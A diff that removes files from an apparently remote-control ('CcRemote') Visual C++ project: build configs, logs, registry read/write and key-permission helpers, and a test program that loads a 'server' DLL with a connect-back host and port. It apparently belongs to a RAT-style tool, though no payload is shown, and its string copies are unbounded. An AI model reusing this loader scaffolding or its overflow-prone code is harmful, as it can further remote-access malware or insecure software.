<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="RegEditEx.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,43 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -1,243 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
//去除字符串类型前面的空格
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
@ -1,2 +0,0 @@
|
||||
f:\myapp\ccremote\ccmaindll\loder\release\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
@ -1,33 +0,0 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
正在生成代码
|
||||
All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
Binary file not shown.
@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
Binary file not shown.
Before Width: | Height: | Size: 359 KiB |
@ -1,17 +0,0 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ 生成的包含文件。
|
||||
// 供 Loder.rc 使用
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
#define IDI_ICON1 102
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 103
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
@ -1,3 +0,0 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
@ -1,14 +0,0 @@
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
f:\myapp\ccremote\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\bin\server\testloaddll.pdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.ipdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
@ -1,6 +0,0 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
@ -1,25 +0,0 @@
|
||||
// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
//HMODULE hServerDll = LoadLibrary(".\server.dll");
|
||||
//声明导出函数类型--导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
|
||||
//寻找dll中导出函数
|
||||
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
|
||||
//判断函数是否为空
|
||||
if (pTestRunT != NULL)
|
||||
{
|
||||
pTestRunT(strHost, nPort); //调用这个函数
|
||||
}
|
||||
|
||||
}
|
@ -1,164 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>TestLoadDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
